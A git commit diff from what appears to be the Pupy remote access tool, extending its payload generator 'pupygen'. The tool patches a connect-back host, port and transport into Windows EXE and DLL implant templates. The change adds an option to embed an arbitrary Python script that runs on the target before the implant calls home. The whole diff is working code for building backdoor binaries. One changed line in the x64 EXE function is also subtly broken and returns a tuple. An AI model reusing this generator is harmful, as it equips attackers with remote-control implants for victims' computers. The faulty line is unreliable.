new option to pupygen to embbed a python script to execute before the pupy payload starts a connection :-)

This commit is contained in:
n1nj4sec 2015-11-01 15:47:21 +01:00
parent 2ccb8bdc18
commit 63e1a73f23
1 changed files with 26 additions and 15 deletions

View File

@ -10,19 +10,21 @@ import re
from pupylib.utils.network import get_local_ip
from network.conf import transports
def get_edit_pupyx86_dll(host, ip, transport):
return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), host, ip, transport)
def get_edit_pupyx86_dll(host, ip, transport, offline_script=None):
return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), host, ip, transport, offline_script)
def get_edit_pupyx64_dll(host, ip, transport):
return get_edit_binary(os.path.join("payload_templates","pupyx64.dll"), host, ip, transport)
def get_edit_pupyx64_dll(host, ip, transport, offline_script=None):
return get_edit_binary(os.path.join("payload_templates","pupyx64.dll"), host, ip, transport, offline_script)
def get_edit_pupyx86_exe(host, ip, transport):
return get_edit_binary(os.path.join("payload_templates","pupyx86.exe"), host, ip, transport)
def get_edit_pupyx86_exe(host, ip, transport, offline_script=None):
return get_edit_binary(os.path.join("payload_templates","pupyx86.exe"), host, ip, transport, offline_script)
def get_edit_pupyx64_exe(host, ip, transport):
return get_edit_binary(os.path.join("payload_templates","pupyx64.exe"), host, ip, transport)
def get_edit_pupyx64_exe(host, ip, transport, offline_script=None):
return get_edit_binary(os.path.join("payload_templates","pupyx64.exe"), host, ip, transport), offline_script
def get_edit_binary(path, host, port, transport, offline_script=""):
def get_edit_binary(path, host, port, transport, offline_script=None):
if not offline_script:
offline_script=""
binary=b""
with open(path, 'rb') as f:
binary=f.read()
@ -41,7 +43,7 @@ def get_edit_binary(path, host, port, transport, offline_script=""):
new_conf="HOST=\"%s:%s\"\nTRANSPORT=%s\n%s\n\x00\x00\x00\x00\x00\x00\x00\x00"%(host, port, repr(transport), offline_script)
if len(new_conf)>4092:
raise Exception("Error: config too long")
raise Exception("Error: config or offline script too long")
binary=binary[0:offsets[0]]+new_conf+binary[offsets[0]+len(new_conf):]
return binary
@ -50,6 +52,7 @@ if __name__=="__main__":
parser = argparse.ArgumentParser(description='Process some integers.')
parser.add_argument('-t', '--type', default='exe_x86', choices=['exe_x86','exe_x64','dll_x86','dll_x64'], help="(default: exe_x86)")
parser.add_argument('-o', '--output', help="output path")
parser.add_argument('-s', '--offline-script', help="offline python script to execute before starting the connection")
parser.add_argument('-p', '--port', type=int, default=443, help="connect back ip (default:443)")
parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default='tcp_ssl', help="the transport to use ! (the server needs to be configured with the same transport) ")
parser.add_argument('host', nargs='*', help="connect back host")
@ -66,30 +69,34 @@ if __name__=="__main__":
myhost, p=myhost.rsplit(':',1)
if args.port==443:
args.port=p
script_code=""
if args.offline_script:
with open(args.offline_script,'r') as f:
script_code=f.read()
outpath=None
if args.type=="exe_x86":
binary=get_edit_pupyx86_exe(myhost, args.port, args.transport)
binary=get_edit_pupyx86_exe(myhost, args.port, args.transport, script_code)
outpath="pupyx86.exe"
if args.output:
outpath=args.output
with open(outpath, 'wb') as w:
w.write(binary)
elif args.type=="exe_x64":
binary=get_edit_pupyx64_exe(myhost, args.port, args.transport)
binary=get_edit_pupyx64_exe(myhost, args.port, args.transport, script_code)
outpath="pupyx64.exe"
if args.output:
outpath=args.output
with open(outpath, 'wb') as w:
w.write(binary)
elif args.type=="dll_x64":
binary=get_edit_pupyx64_dll(myhost, args.port, args.transport)
binary=get_edit_pupyx64_dll(myhost, args.port, args.transport, script_code)
outpath="pupyx64.dll"
if args.output:
outpath=args.output
with open(outpath, 'wb') as w:
w.write(binary)
elif args.type=="dll_x86":
binary=get_edit_pupyx86_dll(myhost, args.port, args.transport)
binary=get_edit_pupyx86_dll(myhost, args.port, args.transport, script_code)
outpath="pupyx86.dll"
if args.output:
outpath=args.output
@ -97,7 +104,11 @@ if __name__=="__main__":
w.write(binary)
else:
exit("Type %s is invalid."%(args.type))
print "binary generated to %s with HOST=%s:%s and TRANSPORT=%s"%(outpath, myhost, args.port, args.transport)
print("binary generated with config :")
print("OUTPUT_PATH = %s"%os.path.abspath(outpath))
print("HOST = %s:%s"%(myhost, args.port))
print("TRANSPORT = %s"%args.transport)
print("OFFLINE_SCRIPT = %s"%args.offline_script)